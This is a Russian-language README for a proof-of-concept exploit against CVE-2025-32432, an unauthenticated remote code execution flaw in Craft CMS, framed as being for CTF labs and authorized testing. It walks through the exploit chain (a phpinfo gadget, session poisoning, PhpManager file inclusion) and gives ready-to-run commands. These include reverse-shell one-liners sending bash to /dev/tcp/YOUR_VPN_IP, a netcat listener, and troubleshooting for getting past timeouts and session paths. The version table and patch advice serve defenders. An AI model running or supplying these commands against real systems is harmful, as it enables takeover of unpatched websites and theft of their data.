
Только авторизованное тестирование. Этот репозиторий предназначен для контролируемых лабораторных сред, CTF-платформ, таких как Hack The Box, внутренней валидации и защитной проверки. Не запускайте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Этот проект содержит proof-of-concept для одиночной цели по CVE-2025-32432 — проблеме удалённого выполнения кода в Craft CMS без предварительной аутентификации.
PoC выполняет два этапа:
phpinfo() через конечную точку генерации трансформаций ресурсов (asset transform) Craft CMS.Скрипт разработан так, чтобы избежать распространённой проблемы ложного отрицательного результата, встречающейся в некоторых публичных PoC: обычный запрос трансформации изображения может возвращать 404, тогда как та же конечная точка и assetId всё ещё работают при использовании фактической полезной нагрузки гаджета.
Согласно официальному бюллетеню Craft CMS и публичным базам данных уязвимостей, затронутые диапазоны версий:
Если вы отвечаете за развёртывание Craft CMS, немедленно обновитесь до исправленной версии.
PoC работает по следующей схеме:
Получить CSRF-токен
|
v
Проверить конечную точку + assetId с гаджетом phpinfo
|
v
Подтвердить, что уязвимый ответ содержит PHP Version / PHP License
|
v
Отравить return URL сессии Craft CMS PHP-полезной нагрузкой
|
v
Активировать yii\rbac\PhpManager для включения PHP session-файла
|
v
Выполнить опциональную команду
Важные детали реализации:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout включена для сценариев обратной оболочки (reverse shell).craftcms_cve_2025_32432_public_poc.py Основной PoC для одиночной цели
README.md Документация проекта
requestsurllib3Установка зависимостей:
python3 -m pip install requests urllib3
Подтверждает уязвимость только с помощью гаджета phpinfo.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
Ожидаемый успешный вывод:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
Ответ phpinfo сохраняется как:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
Пример успешного вывода:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Используйте это, когда вы уже знаете рабочие значения.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
Некоторые цели могут использовать пользовательский фронт-контроллер, например x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
При этом проверяются такие маршруты, как:
http://target.local/x.php?p=admin/actions/assets/generate-transform
Сначала запустите слушатель:
rlwrap -cAr nc -lvnp 12345
Затем запустите PoC с командой обратной оболочки:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 отключает тайм-аут запроса. Это полезно, поскольку обратные оболочки часто удерживают HTTP-запрос открытым.
Вариант с отсоединённым процессом:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
assetId 0 -> HTTP 404 при обычном сканированииНе полагайтесь на обычный запрос трансформации для обнаружения. Некоторые цели возвращают 404 для обычного тела трансформации, но при этом всё равно выполняют полезную нагрузку гаджета.
Этот PoC обнаруживает рабочие комбинации с помощью самого гаджета phpinfo.
Попробуйте указать каталог сессий вручную:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
Затем попробуйте:
--session-dir /var/lib/php/session
или:
--session-dir /tmp
Используйте один из следующих подходов:
--timeout 0
Используйте отсоединённую полезную нагрузку с setsid или nohup.
Проверьте правильность вашего callback IP:
ip -br a | grep tun
Это может быть нормой, если обратная оболочка успешно подключилась. Прежде чем считать тайм-аут ошибкой, проверьте ваш слушатель.
Сначала попробуйте более простую команду:
-c "id"
-c "whoami"
-c "pwd"
Если простые команды работают, а сложные — нет, аккуратно заключите команду в кавычки или используйте отсоединённую полезную нагрузку оболочки.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Если вы администрируете экземпляр Craft CMS:
3.9.15, 4.14.15, 5.6.17 или более поздней версии..env и учётные данные базы данных.Этот проект предоставляется исключительно в образовательных, исследовательских, лабораторных целях и для защитной валидации. Автор не несёт ответственности за неправомерное использование. Тестируйте только системы, которыми вы владеете или на оценку которых у вас есть явное письменное разрешение.
| Ветка Craft CMS | Затронутые версии | Исправленная версия |
|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
| Опция | Описание | По умолчанию |
|---|
-u, --url | Базовый URL цели | Обязательно |
-c, --cmd | Опциональная команда для выполнения после подтверждения phpinfo | Нет |
--front | Имя файла фронт-контроллера | index.php |
-s, --scan-max | Максимальное значение assetId для проверки с гаджетом phpinfo | 50 |
-a, --asset | Известный рабочий ID ресурса | Нет |
--endpoint | Известная рабочая конечная точка generate-transform | Нет |
--session-dir | Каталог PHP-сессий. Можно указывать несколько раз | Встроенный список |
--timeout | Тайм-аут запроса для триггера команды. Используйте 0 для отключения | 20 |